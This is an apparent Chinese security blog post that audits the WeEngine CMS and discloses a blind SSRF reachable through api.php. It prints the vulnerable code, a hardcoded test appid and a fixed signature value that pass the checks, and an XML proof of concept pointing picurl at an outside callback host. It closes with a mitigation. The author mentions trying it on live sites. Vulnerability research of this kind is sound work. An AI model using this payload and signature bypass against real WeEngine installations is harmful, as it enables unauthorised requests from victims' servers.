微擎最新版前台某处无回显SSRF漏洞

## 微擎最新版前台某处无回显SSRF漏洞 ## 0x0 前言   [代码审计之某通用商城系统getshell过程](https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA),续之前这篇文章v1...

微擎最新版前台某处无回显SSRF漏洞

0x0 前言

代码审计之某通用商城系统getshell过程,续之前这篇文章v1.8.2版本,这次分享一个最新版v2.7.6 相对来说比较鸡肋的无回显SSRF,漏洞不是最主要的,主要是分享下自己的审计过程。

写文章还有补天的粽子领就很开心。

0x1 影响版本

经过测试应该是通杀到最新版的,不过不同版本利用方式有些不同,下面将从v1.8.2版本开始分析然后过渡到v2.7.6版本,来构造出对应的POC。

0x2 漏洞点

v1.8.2版本系统安装目录下的根目录文件: api.php

662 line:analyzeImage函数,直接将$message['picurl']传入ihttp_get函数,结合前篇我们文章的分析,这个函数是采用了curl请求并设置跟随的,如果我们可控$message['picurl']那么这里就会是一个支持任意协议,但是没回显的SSRF。

这个漏洞可玩性与UEditor SSRF差不多,不过这个属于Blind类型的。

image-20210615163531485

我们看一下,$message是否可控

image-20210615164452887

可以看到在start函数里面获取了POST的内容然后进入$this->account->parse函数进行解析

251 line: 位于/f ramework/class/account/account.class.phpparse函数

  1. public function parse($message) {
  2. global $_W;
  3. if (!empty($message)){
  4. //解析内容
  5. $message = x ml2array($message);
  6. $packet = iarray_change_key_case($message, CASE_LOWER);
  7. $packet['from'] = $message['FromUserName'];
  8. $packet['to'] = $message['ToUserName'];
  9. $packet['time'] = $message['CreateTime'];
  10. $packet['type'] = $message['MsgType'];
  11. $packet['event'] = $message['Event'];
  12. switch ($packet['type']) {
  13. case 'text':
  14. $packet['redirection'] = false;
  15. $packet['source'] = null;
  16. break;
  17. case 'image':
  18. # 这里直接赋值PicUrl
  19. $packet['url'] = $message['PicUrl'];
  20. break;
  21. ....
  22. return $packet;
  23. }

跟进x ml2array,很简单就是解析x ml格式的内容,微擎官方文档消息概述里面就给出了使用案例。

到这里就可以确定$message['picurl']是直接从POST的数据包中提取然后没有任何过滤进入到ihttp_get函数的,从而造成了SSRF漏洞的。

下面就是如何进行漏洞的触发。

0x3 触发漏洞

当我们访问http://localhost:8887/wq2/wq2/api.php,要确保能走进漏洞函数,首先就要先进入到start()函数。

image-20210615170945120

这里需要绕过前面判断,其实也很简单。

  1. if(!empty($_GPC['appid'])) {
  2. $appid = ltrim($_GPC['appid'], '/');
  3. if ($appid == 'wx570bc396a51b8ff8') {
  4. $_W['account'] = array(
  5. 'type' => '3',
  6. 'key' => 'wx570bc396a51b8ff8',
  7. 'level' => 4,
  8. 'token' => 'platformtestaccount'
  9. );
  10. } else {
  11. $id = pdo_fetchcolumn("SELECT acid FROM " . tablename('account_wechats') . " WHERE `key` = :appid", array(':appid' => $appid));
  12. }
  13. }

我们通过传入api.php?appid=wx570bc396a51b8ff8,便能成功构造出一个$_W['account']出来,绕过上面所说即如下的两个非空判断。

  1. if(empty($_W['account'])) {
  2. exit('initial error hash or id');
  3. }
  4. if(empty($_W['account']['token'])) {
  5. exit('initial missing token');
  6. }

继续向下走,还需要绕过$this->account->checkSign(),继续跟进:

image-20210615171407102

可以看到,这个Sign其实是固定的,所需要的3个信息分别为$token, $_GET['timestamp'], $_GET['nonce'],这里$token就是上面程序预留的信息值为:platformtestaccount,其他两个不传入留空值即可。

29 line:framework/class/account/weixin.account.class.phpcheckSign函数

image-20210615171519590

那么我们只要传入signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a即可绕过checkSign函数。

然后回到api.php继续向下执行,182 line,对$message进行分析,跟进该函数。

  1. $pars = $this->analyze($message);

image-20210615172420838

最终就会进入我们上述漏洞点analyzeImage函数,造成SSRF。

0x4 POC 验证

image-20210615172743080

可以看到构造如下格式,便可成功触发。

  1. <x ml>
  2. <ToUserName><![CDATA[toUser]]></ToUserName>
  3. <FromUserName><![CDATA[fromUser]]></FromUserName>
  4. <CreateTime>12345678</CreateTime>
  5. <MsgType><![CDATA[image]]></MsgType>
  6. <picurl><![CDATA[http://ssrf.l3pekm70n3nb5y4hhtmopdlphgn9by.burpcollaborator.net/]]></picurl>
  7. </x ml>

0x5 出现问题

我简单看了一下Gitee上该系统的最新版2.7.6的代码api.php,发现漏洞点还是存在的。

image-20210615173107051

但是我在网上找了几个最新版的站打了下,发现并没有成功。

image-20210615173234710

尝试删减一些参数,可以得到原因是没进入start函数就结束了,通过debug发现问题主要是在

在初始化$this->account = WeAccount::create($_W['account']);时会调用到这个getAccountInfo函数,这里对内置的测试用户做了个判断,导致进入了$this->openPlatformTestCase();而这个函数最终都是走入了exit(),所以这里我们不能使用这个账户。

  1. protected function getAccountInfo($uniacid) {
  2. //针对测试用户做了判断,$this->openPlatformTestCase();
  3. if ('wx570bc396a51b8ff8' == $this->account['key']) {
  4. $this->account['key'] = $this->appid;
  5. $this->openPlatformTestCase();
  6. }
  7. $account = table('account_wechats')->getAccount($uniacid);
  8. $account['encrypt_key'] = $this->appid;
  9. return $account;
  10. }

0x6 解决问题

回到api.php

image-20210615183229733

可以看到除了测试用户,我们也可以通过传入$id来获取account,跟进uni_fetch函数。

image-20210615184419904

查询account获取id=1的信息

image-20210615184644694

继续跟下去,最终你会发现token其实存储在了ims_core_cache表中,并且只有唯一一个,这个Token值是固定的。

这个信息是从/data/db.php获取的,也就是初始化的默认数据,刚好这个值不是随机生成的,所有版本都是一样的。

image-20210615190136424

相关调用栈如下:

image-20210615190154149

所以我们只要重新获取一下signature就行了,即如下

image-20210615190418036

0x7 新POC

image-20210615191418245

0x8 总结

本文回顾了以前的文章,在此基础上对新版本进行类似漏洞的挖掘,遇到了版本差异导致的问题,尝试解决的时候,发现了关键的检验参数Token存在默认值,导致可以直接构造,完成了利用。最后,关于临时修复方案,账户是可以在后台进行删除的,步骤分别是”所有平台”->放入回收站->彻底删除,这样就可以避免猜测到Token值。

  • 发表于 2021-08-04 10:30:32
  • 阅读 ( 11324 )
  • 分类:内网渗透

0 条评论

xq17
xq17

11 篇文章

站长统计